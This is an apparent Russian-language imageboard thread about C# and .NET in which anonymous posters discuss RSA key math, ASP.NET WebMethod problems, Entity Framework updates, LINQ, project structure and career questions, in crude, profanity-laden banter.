>m_ = c ^ d mod n; //decrypt by priv from cipher
>(m == m_) //true

>c = m ^ d mod n; //encrypt by priv to cipher
>m_ = c ^ e mod n; //decrypt by pub from cipher
>(m == m_) //true

//signature
>c = m ^ d mod n; //encrypt by priv to cipher
>//(m, c) -> transfer cypher and message
//Verify signature:
>m_ = c ^ e mod n; //decrypt cipher by pub
>(m == m_) // compare m with m_ to verify signature - true/false

И вот как зашифровать приватным ключём, а расшифровать публичным - хуй знает.
Кроме метода modPow из BigInteger - я не вижу другого варианта,
так как исходников самих этих методов rsa.Encrypt() и rsa.Decrypt() не найти, только описания методов.
Аноним 25/07/20 Суб 11:09:39 1759756880
>>1759755
>rsa.Decrypt() же, дешифрует шифр только при помощи privateKey, который нужно импортировать в RSAParameters.
Аноним 25/07/20 Суб 11:16:54 1759757881
Аноним 25/07/20 Суб 11:40:05 1759764882
Хм. А будет ли плюсом в качестве проекта партфолио - библиотечка для серилизации-десериализации HTML?
Ну, типа я студент думаю наверное это уже миллион раз реализовали. Но я что-то не видел. А тут думаю, смотрите, ну базовый класс: HTMLDocument, в нем есть ноды с тегами, каждому тегу - можно стиль нахреначить, потом метод Save(string path), хобана - мы собрали html'ку, а можно ToString и отдавать в качестве ответа какого-то. Опять же, наверное это все давно реализовано, но будет ли полезно иметь свою реализацию на гитхабе? Или лучше что-то более прикладное зафигачить, типа автоматизация продажи дилдаков на микросервисной архитектуре?
Аноним 25/07/20 Суб 14:39:19 1759893883
>>1759654
Это практический туториал для людей которые уже знакомы с REST и хотят узнать как это делать в ASP.NET Core. Надо читать теорию, статьи, книги, видео которые объясняют саму идею, принципы, лучшие практики и т.д. а потом уже читать гайды на msdn.
Аноним 25/07/20 Суб 14:39:58 1759895884
Аноним 25/07/20 Суб 15:17:03 1759946885
>>1759764
Будет плюсом в том смысле, что люди согут посмотреть на твой code style. Если будет популярна как nuget, будет большим плюсом. Но это маловероятно.
Аноним 25/07/20 Суб 15:34:55 1759956886
>>1759895
Либо было лень нацепить ExceptionFilterAttribute, либо он считает что 500 - приемлемый код вместо 400/404.

Ставлю на первое, ему даже лень было отнаследоваться от ApplicationException
Аноним 25/07/20 Суб 16:36:22 1759994887
>>1759716
Ну хуй знает, я обычно с 5000 начинаю париться.
Аноним 25/07/20 Суб 19:24:08 1760087888
>>1759716
>>1759994
я просто не могу поверить, что такая хуета существует. Дайте пример, посмотрю на это убожество
Аноним 25/07/20 Суб 19:55:53 1760102889
Может кто помочь? Нужно реализовать для null-able типов, дополнительную возможность определения - является ссылка null или нет.
Например для для переменной string name = null => name.IsNull() --> true
Или направить что учить скажите
Аноним 25/07/20 Суб 20:26:43 1760123890
>>1759764
Я как-то отдавал HTML с C#, в качестве стартовой страницы загрузки одностраничного сайта.
Там надо просто строчку (string), ескапнуть, символом @,
а после него, в двойных кавычках, сунуть код html-страницы,
где каждая двойная кавычка заменена на две двойные.
Так можно и скрипты на JavaScript, в код на C# пихать, и потом, как файл их сохранять, или просто отдавать.

Но я, кажется, не совсем понял что ты хочешь.
Ты хочешь своей десериализацией - именно распарсить теги, в какой-то объект, верно?
Если же, ты хочешь стили к тегам прикрутить, в чём проблема сделать замену тега на тег с классом, а стиль прописать в блоке <style></style>, указав там класс и стиль?

>Опять же, наверное это все давно реализовано, но будет ли полезно иметь свою реализацию на гитхабе?
Так ты сначала чётко сформулируй что именно ты хочешь, может это в один gist уложится, или вообще в пару строк, или в вызов стандартного метода из какой-нибудь либы.

>Или лучше что-то более прикладное зафигачить, типа автоматизация продажи дилдаков на микросервисной архитектуре?
Лучше уж автоматизация их производства, на стандартной архитектуре микроядра, главное пиши на .NET Core 2.0, чтобы полная обратная совместимость была.
Аноним 25/07/20 Суб 20:27:28 1760124891
.png 78Кб, 1920x1080
1920x1080
>>1760102
Я не совсем понял в чем проблема. Типа ты хочешь для типов по значению проверять или классов? Если классов, то прикриплейд.
Аноним 25/07/20 Суб 20:49:32 1760134892
>>1760123
Я хочу следующего.
Есть класс: HtmlDocumet, он как-бы в себе хранит описание все странички. У него есть методы: LoadDocument, SaveDocument и ToString, первый - позволяет получить строку и в случае если это валидный HTML - инициализировать свойства класса, второй - сохранить тот документ что есть куда-то, ToString - то что есть в классе вернуть в виде строки, которая явялется валидным HTML. Так же у документа есть свойства: HtmlNode, которые являются деревом тегов, корнем, естественно - <html>, затем <head> и <body>, дальше уже заполняем в зависимости от того что нам надо. Как-то так на базовом уровне. У ноды есть всякие свойства и, соответственно, значения.
Зачем нужно. Например, чтобы я мог, взять страничку уже готовую, и уже программными методами добавить например элементов в список, при этом может быть ебануть каким-то элементам стили и это вот все и вернуть уже новую страничку, при этом не прописывая каждый раз ручками строки того что добавить нужно. Примерно как-то так:
var html = new HtmlDocumet("index.html");
html.Body.AddLast(new MarkedList{ new ListItem(){value = "1"}, new ListItem(){value = "2", style = new Style(){color = "#faf"}});
html.SaveDocumet("index2.html");

Опять же, я думаю что такое давно есть, но мне было бы интересно самому попробовать намутить.
Аноним 25/07/20 Суб 21:38:49 1760162893
>>1760124
Блин, точно не могу сказать. Но я думаю что это связанно с классом Nullable.
Но твой код мне кажется интересным, спасибо что отозвался и решил помочь, я думаю этого достаточно для меня
Аноним 25/07/20 Суб 22:38:38 1760196894
>>1760134
>мне было бы интересно самому попробовать намутить
Если хочешь изобретать велосипед - вперёд.
>Опять же, я думаю что такое давно есть
Конечно есть. Гугли html-парсеры. Сходу нарыл это: https://ru.stackoverflow.com/a/420355
Как видишь, там можно парсить html в объект, и получать, а также изменять отдельные аттрибуты html-тегов, в частности, эти вот стили, в аттрибуте style="бла-бла",
или просто можно добавить к тегу class="blah-blah",
и в секции <style> расписать стиль к элементам этого класса.
Аноним 25/07/20 Суб 22:46:38 1760200895
>>1760196
>Если хочешь изобретать велосипед - вперёд.
А вообще, я только за узкоспециализированные, коротенькие решения, в одном .cs-файле в виде gist'a на github'e,
и c годным, лаконичным описанием.

Как, например, вот этот BigInteger.cs
>https://github.com/bazzilic/BigInteger/tree/master/BigInteger
Всего один файлик. Скопировал его приинклюдил, и юзаешь себе:
> csc.exe -optimize -out:"test_RSA_CSharp.exe" "test_RSA_CSharp.cs" "BigInteger.cs"

Вместо того, чтобы такие вот нагромождения инклюдить:
https://github.com/JamesNK/Newtonsoft.Json/tree/master/Src/Newtonsoft.Json
Аноним 25/07/20 Суб 23:13:46 1760216896
Аноним 25/07/20 Суб 23:15:25 1760218897
>>1760216
тут 80% комментов, не катит. Тем более CoreLib
Аноним 26/07/20 Вск 01:26:15 1760284898
>>1724425 (OP)
сап, может кто нить написать функцию пробегающуюся по всем емуйлам в массиве и если email заканчивается на .gmail.com выводить строку "Part is a Google user"
где Part это все что до @ в email
в противном случае выводить просто email

Например для

[ "adam@gmail.com", "boob@yahoo.com", "test@gmail.com" ]
должно вывестись
["adam is a Googler","boob@yahoo.com","test is a Googler"]
Аноним 26/07/20 Вск 01:36:22 1760292899
>>1760284
https://pastebin.com/3uXyU5aJ
если что вот решение на хаскеле, просто
1) я дольше буду все что нужно ставить и гуглить как делается чем делать
2) не хочу об ваш скотоублюдский язык шквариться
Аноним 26/07/20 Вск 07:57:18 1760409900
>>1760292
Так не шкварься и пиши на хачкеле. На нашем языке это делается в 2 строки.
Аноним 26/07/20 Вск 09:54:53 1760429901
>>1760292
Твоё решение говно, кстати. Потому что обосрется если в массиве будет строка вида "@gmail.com" или " @gmail.com" или любая другая строка, которая заканчивается на @gmail.com, но не является валидным email адресом.
Аноним 26/07/20 Вск 12:18:30 1760474902
>>1759956
слепил FilterExceptionAttribute, теперь встал вопрос - у меня DAL, если не находит элемент в Бд выстреливает Exception-ом. Но проблема в том, что этот эксепшен сразу ложит приложение, а не передает по стэку к контроллеру. Как такое фиксить?
Аноним 26/07/20 Вск 14:17:18 1760610903
12123.jpg 108Кб, 1235x576
1235x576
>>1760292
>>1760284
Проиграл с языка для умалишенных. Почему в нём всё так вырвиглазно? Ну да ладно, грех не помочь болезному. Держи.

Аноним 26/07/20 Вск 19:53:17 1760974904
>>1760610
У тебя второе условие не выполняется же, няша.
Аноним 26/07/20 Вск 20:06:19 1760981905
Аноним 26/07/20 Вск 20:20:13 1760987906
>>1760981
Поди миддлвар не сконфигурировал.
Аноним 26/07/20 Вск 21:00:34 1761006907
>>1760974
Если исходить из того, что будут переданы всегда валидные email'ы, то нужно добавить else x.Add(y);
Если не исходить, то нужно в самом начале регуляркой проверять валидный ли это email адрес, после чего всё тоже самое с добавленным else x.Add(y);
Аноним 26/07/20 Вск 21:09:06 1761013908
>>1760610
Спасибо.

уебок гисты с пастбином для кого придумали хуесос?
Аноним 26/07/20 Вск 21:11:44 1761014909
>>1761013
Переписывай ручками, тебе только на пользу пойдёт.
Аноним 26/07/20 Вск 21:23:56 1761018910
>>1760987
блять такая хуета конечно, даже не врубаюсь какой синвенс пайплайна, чтобы определить сконфигурировался мидлвар или нет
Аноним 26/07/20 Вск 23:54:53 1761129911
>>1761018
>>1760987
боже, проебался весь выходной над этой залупой, в итоге запустил не в дебаг режиме, а в релизе - все заработало. Ебись оно все колом
Аноним 27/07/20 Пнд 03:37:01 1761188912
image.png 59Кб, 858x469
858x469
image.png 21Кб, 469x282
469x282
почему я не могу вызвать вебметод, я перепробовал уже какие угодно обращения, потом даже не входит в вебметод, к тому же я не знаю можно ли обратиться к вебметоду с консольки браузера
Аноним 27/07/20 Пнд 03:37:22 1761189913
image.png 59Кб, 858x469
858x469
image.png 21Кб, 469x282
469x282
почему я не могу вызвать вебметод, я перепробовал уже какие угодно обращения, потом даже не входит в вебметод.

к тому же я не знаю можно ли обратиться к вебметоду с консольки браузера, можно?
Аноним 27/07/20 Пнд 15:07:29 1761524914
>>1761188
>2020, на подходе .NET 5, WASM, razor components
>/testwebmethod.aspx/
боже братишка зачем????
Аноним 27/07/20 Пнд 16:54:18 1761610915
>>1761524
а можно более детально? какие фишки у этих всех компонентов?
Аноним 27/07/20 Пнд 17:22:30 1761639916
>>1761610
полноценный front-end фреймворк на .net
Аноним 27/07/20 Пнд 17:30:10 1761649917
>>1761524
wasm никому нахуй не нужен. Надеюсь на то, что TS впилят вовнутрь ASP.NET и будет полноценный Fullstack
Аноним 27/07/20 Пнд 19:33:19 1761723918
Какая правильная реализация Put метода? На вход получаем Сущность (обновленную), через Id новой сущности ищем в БД уже существующую. Не нашли - чекай Id. Найшли - нужно сделать перенос полей. Вот в этом основной вопрос. К примеру у меня есть сущность с 10+ полей. По каждому нужно делать проход на
if(oldEntity.name != newEntity.name)
{
oldEntity.name = newEntity.Name
}
Чи шо? Я думаю маппер какой ни будь заюзать, чтобы такой хуйней не заниматься. Что скажите?
Аноним 27/07/20 Пнд 20:16:08 1761761919
>>1761723
скажу, что ты усложняешь. в случае EF есть мизерный оверхед от обновления свойств хотя с выключенным трекингом он наверно к нулю сводится. если нет никакой бизнес логики за обновлением сущности, то просто переприсваивай свойства и не ебай мозга преждевременной оптимизацией.
Аноним 27/07/20 Пнд 20:38:12 1761777920
Мой лид говорит сделать конфигурацию приложения черз БД БД. Причем полноценной(я предлагал SQLite использовать). Мне чет это кажется какой-то хуетой. Типа блин, посмотреть цвет кнопки - делать запрос к БД, шрифт - в бд, положение и т.д.. Я бы еще понял один запрос при старте приложения, а потом просто при изменении и сохранении настроек, но он кинул свой пример и там при каждой инициализации в конструкторе каждого класса к БД запрос делается. Это я чет не понимаю, или лид хуйню делать заставляет?
Аноним 27/07/20 Пнд 20:46:20 1761784921
>>1761761
Делать перебором свойств на == ? И как нахуй Update в EF работает?
Аноним 27/07/20 Пнд 20:51:36 1761786922
>>1761777
Предложи ему заливать код проекта в бд, сделать другой проект, который будет долбить бд по таймеру а лучше в бесконечном цикле, так система отзывчивее будет, собирать и деплоить его на прод. Сразу поймет, что ты тип шаровой где ты работаешь, что у вас такие ебанутые решения?
Аноним 27/07/20 Пнд 21:07:05 1761792923
>>1761786
В мухосранске же. Думал после шараги типа опыта наберусь и попробую перекатиться хотя бы в миллионник, но с каждым днем мне кажется, что этот опыт будет скорее вредным, потому что тут какой-то культ велосипедов и костылей, а git под запретом, потому что сложный и непонятный и лучше будет общая папочка и рядом скриптик, жмакаешь скриптик перед тем как в папочку положить - он содержимое в архивчик и в другую папочку кладет, потом можешь новый код туда добавить, такая вот систему управления версиями, кек. Зато люди на самом деле довольно милые, добрые и не заебывают этими вашими спринтами и всей остальной штукой, сколько времени надо - столько и кодь.
Аноним 27/07/20 Пнд 21:10:16 1761793924
>>1761792
Ну, тогда у тебя есть вариант сделать как они хотят и сделать правильно. А потом показать приемущества твоего подхода и подтянуть команду.
Аноним 27/07/20 Пнд 21:27:45 1761807925
>>1761784
>Делать перебором свойств на == ?
если ты один объект обновляешь, то забей. ты тратишь время раздумья и собсна оптимизацию того, что оптимизировать нет смысла.
>И как нахуй Update в EF работает?
остановись в дебаге где нибудь, где есть твой DbContext и попрыгай по его свойствам. там у него где то внутри зарыты изменения, которые применяются при вызове .SaveChanges().
Аноним 27/07/20 Пнд 21:59:31 1761841926
>>1761723
Не делай никаких сравнений, просто присваивай и сохраняй.
EF сам сравнит новые значения со старыми при детектировании изменений при сохранении и, если надо, сохранит тебе твои новые значения.

Аноним 27/07/20 Пнд 22:19:46 1761857927
>>1761807
>что оптимизировать нет смысла.
дело больше в том, чтобы инкапсулировать маппинг в 1 месте и не париться, даже не смотря на то, что ебаный маппер весит 30 МАТЬ ЕГО мегабайт.
У меня 10 сущностей, это 10 проверок (практически одинаковых), а будет больше - уже венигред. И да, по S(O)LID это не правильно
Аноним 27/07/20 Пнд 22:29:00 1761862928
>>1761841
>>1761807
https://pastebin.com/zELEufPq
или я дэбил или я чего то не понимаю. wh - текущая сущность. WareHouse - [FromBody] controller. Остальные проверки в контроллере. Если использую метод Update - выстреливает на:

"The instance of entity type 'WareHouse' cannot be tracked because another instance with the same key value for {'Id'} is already being tracked. When attaching existing entities, ensure that only one entity instance with a given key value is attached. Consider using 'DbContextOptionsBuilder.EnableSensitiveDataLogging' to see the conflicting key values.""
Аноним 27/07/20 Пнд 23:35:48 1761903929
image.png 59Кб, 858x469
858x469
image.png 21Кб, 469x282
469x282
народ, неужели никто не знает почему я не могу войти в вебметод
Аноним 28/07/20 Втр 04:46:40 1761970930
Как можно реализовать загрузку файлов с клиента на сервер с прогрессом загрузки у клиента??
Аноним 28/07/20 Втр 06:15:18 1761981931
>>1761970
ыыыы))))


sendedTotal = 0;
fileSize = 102410241024;
file = new byte[fileSize];
progress = 0;
while(true)
{
var sended = await socket.SendAsync(file[sendedTotal..], SocketFlags.None);
sendedTotal += sended;
progress = 100*sendedTotal / fileSize;
UpdateProgressBar(progress);
if(sendedTotal >=fileSize )break;
}



Аноним 28/07/20 Втр 15:53:10 1762341932
>>1761862
Очевидно что у тебя два объекта с одним и тем же айди. Пройдись по коллстеку, посмотри где ты свои склады создаёшь.
Аноним 28/07/20 Втр 16:04:14 1762354933
>>1762341
вчера пол ночи проебался, ошибка была в плюрализации
Аноним 28/07/20 Втр 16:09:45 1762361934
>>1761903
Точно WebService атрибут не забыл на класс повесить?
Аноним 28/07/20 Втр 18:08:50 1762437935
image.png 5Кб, 185x104
185x104
Аноним 28/07/20 Втр 18:12:47 1762442936
>>1761981
это джс что ли? а если я загружаю через асп елемент "file.upload" как мне его заюзать?
Аноним 28/07/20 Втр 18:24:08 1762454937
>>1762437
[WebService]
На класс. А не на метод.
Аноним 28/07/20 Втр 18:34:30 1762469938
У меня тупой вопрос. Вот смотрите. Мне нужно было сделать импорт данных из одного места у другое. Вот. Я сделал стратегию для импорта. Использую ее, все нормально, в случае чего можно будет другую стратегию использовать, ничего вне не меняя. Тут мне приходит начальник и говорит: Все хорошо, но хотелось бы чтобы работало по расписанию. Я: "Не вопрос", делаю класс, который принимает эту стратегию и добавляю логику работы по расписанию, при старте смотрю, надо ли оно, если надо - запускаю по расписанию, если не надо - просто ждем команды начать импорт из веба. Начальник доволен, все работает. Потом он говорит: Все замечательно, но теперь просят чтобы по расписанию можно было много импортеров сделать, из разных мест. Ну и блин, я придумал сделать сервис, внутри него список запущенных задач импорта, есть обработчик работы по расписанию, он смотрит, нужно ли запустить работу по расписанию и если нужно и пришло время - запускает это дело. Но блин программка которая в 300 строк умещалась сейчас уже за 5к перевалила со всей этой хуйней. А это, так-то должен был быть микросервис. Такая шляпа только у меня случается, или это норма работы кодером?
Аноним 28/07/20 Втр 20:27:36 1762561939
>>1762469
это не норм, т.к. ты нахуй послал все принципы SOLID. Изначально нужно было учесть все ньюансы при согласовании задачи. Будет тебе опыт. И кто сказал, что для микросервиса 5к строк это много?
Аноним 28/07/20 Втр 20:55:01 1762578940
>>1762469
Такое полотно высрал, а сути ноль. Ты понимаешь, что под твоими "импорт, стратегия, расписание, много импортов" можно вообще всё что угодно надумать?
То что задачи меняются постоянно, это обычное дело, именно для этого придумали такие понятия как паттерны проектирования, рринципы солид и тест драйвен девелопмент, которые помогт расширять и поддерживать код.
Аноним 28/07/20 Втр 21:39:31 1762604941
Решаю энтрилвл задачки на codewars (тратя по часу на каждую офк) и так забавно как то, для чего я написал 10 строчек, в правильных ответах делают за одну.
Аноним 28/07/20 Втр 21:43:32 1762613942
>>1762604
Какая разница сколько строчек? Главное задачу решить. А ванлайнеры потом будешь сам писать, когда с синтаксисом и стандартной библиотекой разберешься.
Аноним 28/07/20 Втр 22:20:13 1762637943
>>1762613
Codewars вообще норм тема? Можно чему-то полезному научиться, кроме синтаксиса?
мимо
Аноним 28/07/20 Втр 22:29:50 1762645944
>>1762637
Ну, там задачки полезные в плане общего развития. Опять же, когда новый язык учишь - полезно, потому что сначала делаешь как умеешь, потом смотришь как делают те кто в языке чуть больше шарят, получаешь таким образом представление о стили который принят в этом комьюнити, подмечаешь полезные фишки языка и т.д. Я вот так учил шарп после плюсов.
Это конечно не пиздец как скилл прокачает, но просто благодаря разнообразию на ранних этапах учишься разными способами применять программирование для решание задач.
Если цель не в этом, а побыстрее вкатиться, то наверное не лучший вариант, потому что на работе от тебя в 95% случаев будут круды заставлять делать, а для всей остальной деятельности где хоть капля мозгов нужна будет - будет стандартное решение из библиотеки.
Аноним 28/07/20 Втр 22:49:37 1762657945
>>1762604
Станешь программистом тогда, когда поймёшь, что написать 10 строчек лучше, чем одну.
Аноним 28/07/20 Втр 22:53:28 1762661946
>>1762637
Единственная практическая польза - подготовиться к собесу на котором что-то из этих задач будет. В остальных случаях только во вред пойдёт, начнёшь воротить говнокод, заниматься не нужными оптимизациями, пилить велосипеды.
Помимо учебной литературы, пользу принесут только 3 вещи:
1. Изучение паттернов проектирования, принципов СОЛИД.
2. Чтение грамотно написанного кода, больше всего подходит код стандартных библиотек и популярных фреймворков, которые поддерживаются профессионалами.
3. Написание собственного кода, который ты или другие будут применять в жизни.

Аноним 28/07/20 Втр 23:04:02 1762675947
изображение.png 15Кб, 333x613
333x613
Аноним 28/07/20 Втр 23:06:18 1762680948
12123.jpg 118Кб, 991x781
991x781
Аноним 28/07/20 Втр 23:09:35 1762683949
>>1762680
Что за ноунейм рейтинг где С выше Питона?? Сам написал?
Аноним 29/07/20 Срд 00:15:14 1762722950
Аноним 29/07/20 Срд 00:19:03 1762729951
15790817786690.jpg 88Кб, 1173x927
1173x927
>>1762683
Вот это можешь одноклассникам показать, если реальное положение дел их не устраивает.
Аноним 29/07/20 Срд 01:03:56 1762761952
>>1762722
>самый надежный источник
>VB на уровне решеток
В ГОЛОСЯНДРУ ЗАОРАЛ
По сабжу да - как бы не кукарекали со своим .NET Core - решеточники соснули и мелкософты сейчас плавают в говне. Проекты открываются на нодах/рельсах, старое легаси сапортиться на джубе. Единственные, что сейчас можно делать - это микросервисы/web api на решетках и ссаный геймдев. Все остальное - мертво.
Аноним 29/07/20 Срд 03:59:24 1762839953
>>1762454
я не понимаю о чем ты, я конечно добавил над классом страницы [WebService], эта херня все ранво не работает, и это очень странно потому что раньше я часто использовал веб методы я просто не могу понять какого хера сейчас оно не работает
Аноним 29/07/20 Срд 04:23:50 1762844954
image.png 59Кб, 858x469
858x469
image.png 21Кб, 469x282
469x282
аноны, ну правда, какого хрена, я уже хрен знает какой день не могу вызвать блядский веб метод который раньше юзал постоянно и я просто не понимаю какого хрена сейчас он не работает, я правда не понимаю
Аноним 29/07/20 Срд 04:32:40 1762848955
image.png 264Кб, 500x283
500x283
Аноним 29/07/20 Срд 04:43:54 1762853956
у меня нет никаких ошибок, джс успешно заходит в функцию и все, дальше что происходит я не понимаю, он просто игнорирует код дальше, никаких ошибок, никаких ответов, в веб-методникакой поток не заходит, понимает я блять не ебу чего он хочет, если бы я видел какуйю-то ошибку, там сериализация херализация, я бы хоть понимал что происходит, а он делает хер знает что, я не понимаю что происходит
Аноним 29/07/20 Срд 05:20:35 1762865957
image.png 77Кб, 950x572
950x572
image.png 44Кб, 465x603
465x603
для чистоты експермента я решил сделать точную копию кода который показан сдесь : https://www.c-sharpcorner.com/UploadFile/dacca2/static-webmethod-in-code-behind-webform/

изменена только название страницы, все остальное точная копия, но веб метод не работает, тоесть он просто не реагирует, нет ни ошибок, ни сообщений, ничего, КАК ЭТО ВОЗМОЖНО!?
Аноним 29/07/20 Срд 08:21:59 1762902958
>>1762729
Показал поржали спасибо, с каких то пор HTML\CSS стал ЯПом??
Аноним 29/07/20 Срд 10:11:19 1762933959
>>1762902
Это топ технологий, а не только ЯП.
Аноним 29/07/20 Срд 10:47:08 1762956960
>>1762844
и что это за хуйня /test webmethod.aspx/test? Или ты думаешь JS за тебя протокол и домен нарисует?
Аноним 29/07/20 Срд 11:28:28 1762978961
image.png 56Кб, 207x337
207x337
>>1762956
>Или ты думаешь JS за тебя протокол и домен нарисует?
Аноним 29/07/20 Срд 12:26:46 1763023962
>>1724425 (OP)
Посоветуйте плиз книги/статьи по архитектуре софта. Кодить научился, но код кажется говном, как в плане поддержки, так и в плане просто читаемости. Никаких паттернов не изучал ещё, стоит?
Аноним 29/07/20 Срд 16:16:49 1763383963
>>1762956
что? я делал точно как в примере, о каком домене ты говоришь?
Аноним 29/07/20 Срд 16:55:19 1763460964
>>1763383
>как в примере
>о каком домене ты говоришь
понял, принял
Аноним 29/07/20 Срд 22:21:08 1763746965
Я чет попробовал превью 9 шарпа. И чет я не так немного представлял себе рекорды. Ну, т.е. да, наверное это недопонимание и вообще я неправильно ими пользуюсь, но я почему-то думал что при:
User x = new User{Name = "Vasy"};
User y = x;
y = "Petya";
будет изменение только у "y", даже если Name было обычным свойством. Наверное оно и правильно с какой-то стороны, но блин, мне хочется классов, которые при этом ведут себя как структуры.
Аноним 30/07/20 Чтв 12:13:46 1764147966
А можно как-то в цикле вернуться на его предыдущую итерацию?
Аноним 30/07/20 Чтв 14:09:51 1764287967
Работаю в геймдеве, что бы дальше расти мне необходимо знать C# для работы в юнити. Проблема в том что я вообще понятия не имею что такое програмирование, как писать код и так далее. С чего мне начать? C книги c# 4.0 the complete reference будет нормально?
Аноним 30/07/20 Чтв 14:35:18 1764333968
Кто шарит за компилятор дотнета?
Допустим, у нас есть цикл
foreach(var item in items)
{
    var x = 5
}

Для переменной x каждую итерацию выделяется новая область памяти или компилятор будет использовать указатель на предыдущую область и будет перезаписывать ее в новой итерации?
Аноним 30/07/20 Чтв 14:37:05 1764335969
>>1764147
Если for (var i=0; i < limit; i++), то в теле уменьши индекс i
Аноним 30/07/20 Чтв 15:33:26 1764374970
>>1764333
>будет перезаписывать ее в новой итерации
Аноним 30/07/20 Чтв 15:37:52 1764375971
Аноним 30/07/20 Чтв 16:39:02 1764416972
>>1764287
Как ты в геймдеве то работаешь? Полы в офисе моешь?
Аноним 30/07/20 Чтв 17:05:23 1764439973
Аноним 30/07/20 Чтв 18:03:21 1764489974
Доброго дня, программисты!
Я только вкатился в разработку. Я хочу создать веб-приложение и приложение на замарин.
Соотвественно, вопрос: как реализовать доступ к базе данных? Я могу сделать одно веб-приложение с моделями и в нем реализовать логику рест-сервиса? Или мне нужно отдельно реализовать проект с моделью, а потом в проекте веб-сервиса и веб-приложения ее подключить? Не понимаю, как сделать, подскажите, пожалуйста!
Аноним 30/07/20 Чтв 18:18:19 1764495975
>>1764489
Что непонятного-то?
Делаешь библиотеку, называешь ее core, в ней описываешь свои сущности, которые будут между приложениями использоваться: модели, интерфейсы и это вот все. Делаешь еще одну библиотеку, в которой у тебя бизнес логика работы с базой реализована, в ней описываешь свои репоизтории, что во что собирается. Потом делаешь 3 проекта: webapi, твое веб-приложение и xamarin, в вебапи реализуешь rest, в двух других клиентская часть. Ну, по крайней мере я бы так делал, мне кажется такой подход довольно удобным.
Аноним 30/07/20 Чтв 19:16:34 1764531976
>>1764495
можешь подробнее описать, как организовать структуру? Я не понял про две библиотеки. Одна - описание моделей, а что реализовывать во второй?
Аноним 30/07/20 Чтв 19:54:10 1764541977
>>1764531
В общем, я хотел накидать рофельный пример, но это довольно долго. Короче, вот ссылка. https://github.com/dotnet-architecture/eShopOnWeb Там все довольно удобно и как я описал. Тебе, по сути, можно так же, только впихнуть еще Xamarin'овский проект в это дело.
Аноним 30/07/20 Чтв 21:55:40 1764594978
Что почитать про LINQ, чтобы для даунов? Чтобы много примеров самых разных и разжевано все. Потому что пока у меня впечатление, что если хорошо понимать LINQ, то можно все делать в 10 раз быстрее.
Аноним 30/07/20 Чтв 22:15:57 1764607979
>>1764594
>то можно все делать в 10 раз быстрее.

Смотря что под быстротой подразумевать. Если написание кода, то да, если работу написанного кода, то нет. LINQ улучшает читаемость кода, но иногда это идёт в ущерб его быстродействию. Например, можно сделать вот так:

someList.AddRange(anotherList.Where(item=>item.Id > 30);

А можно так:
for (var i = 0; i < anotherList.Count; i ++)
{
if (anotherList〚i〛.Id > 30) someList.Add(anotherList〚i〛);
}
И второй вариант будет гораздо быстрее, хоть и займёт 4 строки кода вместо 1;
Аноним 30/07/20 Чтв 22:20:22 1764610980
>>1764594
Что там читать-то? Там из названия методов все и так понятно.
Ну серьезно FirstOrDefault , как думаешь, что оно вернет? Или ToArray, что оно сделает? Или какой-нибудь Join? Даже не представляю.
Ну или я такой странный и мне вот LINQ показался самой простой частью шарпов. Вот въехать в события было сложно, банально потому что ты сначала ими начинаешь пользоваться и думаешь что это какая-то магия, потом понимаешь что не магия и продолжаешь пользоваться, потом у тебя утечки из-за того что забыл отписаться и потом ты понимаешь, что нахуй эти события не всрались. Ну или как работает EF(core), тоже довольно мутная хуйня, которая то возвращает объекты, которые еще и тречатся, а тебе этот трекинг не всрался
Аноним 31/07/20 Птн 10:06:39 1764784981
>>1764541
Я все-равно не понял про то, как будет происходить взимодействие моделей из КОРЕ и в остальных приложениях. В книжках нихуя не написано сложных структур таких.
Можешь алгоритм действий описать и как это все связать вместе?
Типа, сначала я создаю пустой проект, прописываю в нем классы интерфейсов модели. Потом наследую от этих интерфейсов классы с моделями, где реализую методы CRUD и другие необходимые, вроде какиех-нибудь выборок.
Что потом? Я добавляю новый проект мвс. Как мне из этого проекта обращаться к модели из другого? Если я в нем обращаюсь к интерфейсам, то мне опять переписывать логику создания моделей или как? Не понимаю.
Аноним 31/07/20 Птн 11:10:47 1764810982
>>1764784
создаёшь 4 проекта
1. Модели EF + миграции
2. Дата-репозитории для CRUD. Делаешь базовый IRepository и Repositry, остальным по необходимости
3. класс с сервисами
4. веб приложение
Аноним 31/07/20 Птн 11:17:08 1764813983
>>1764810
Получается:
1. Создаю Библиотеку классов Net Framework
2. ?
3. Понятно
4. Понятно
Аноним 31/07/20 Птн 11:52:48 1764828984
>>1764813
>2. ?
ЕФ, хоть сам и является репозиторием, но обычно накручивают еще один слой абстракции, что б у тебя был более специализированный интерфейс и на случай, если когда еф перестанет удовлетворять, можо было заменить часть например на даппер и прочее незаметно для потребителя.
Т.е. что-то типа
ISuperRepo
.Shit GetShitById(int id);
.Shit[] GetLastShits(int count)
// и т д
мимо
Аноним 31/07/20 Птн 15:26:36 1765000985
>>1764828
1. да
2. ну вон тебе ниже верно сказали, что абстракция над crud'ами. Это не столько для перехода на другой ORM в будущем что я думаю случается в 0.000001 случаев, а для враппинга рядовых крудовых операций. Там же не только dbContext.GetShit() бывает, а всякие context.Shits.Where(x => x.Code.Equals(shitCode)).AsNoTracking().UseCache(). SQL запросы для сложного говна тоже в репозитории идут
Аноним 31/07/20 Птн 20:13:52 1765215986
Объясните дурачку, почему я могу использовать
>String.Join("", String[])
Но не могу
>String.Join('', String[])
Аноним 31/07/20 Птн 20:21:57 1765229987
>>1765215
Потому что первым аргументом должна идти строка. "" является строкой (пустой), а " - нет. Если тебе нужна строка с кавычкой, то она пишется так: "\"".
Аноним 31/07/20 Птн 20:56:12 1765241988
>>1765215
Потому что разрабы языка решил, что нет необходимости в еще одной перегрузке.
Аноним 01/08/20 Суб 09:55:18 1765401989
image.png 24Кб, 570x281
570x281
Аноним 01/08/20 Суб 10:26:30 1765409990
>>1765401
>Алсо шарп говно
Ну и пошёл нахуй отсюда
Аноним 01/08/20 Суб 10:39:30 1765416991
image.png 2197Кб, 900x900
900x900
>>1765409
Сорри, просто я не уважаю интерпретируемые языки.
Аноним 01/08/20 Суб 12:17:40 1765438992
>>1765416
Да чё ты начинаешь по нему CLR пройдётся разок и он вполне сканпелируется и будет лучше твоего говнокода на расте.
Аноним 02/08/20 Вск 01:17:24 1765977993
>>1724425 (OP)
Анон, смотри...
Значение открытой экспоненты, в публичном ключе RSA (e, n),
сгенерированное, вот таким вот образом:
https://github.com/bazzilic/BigInteger/blob/df41d2c6d0245ca0241c1586868e68c26f43328d/BigInteger/BigInteger.cs#L3115
присваивается полю "pa_Priv.Exponent",
внутри переменной pa_Priv, с типом RSAParameters:
>pa_Priv.Exponent = bi_e.getBytes();
Чтобы обновить там публичный ключ.

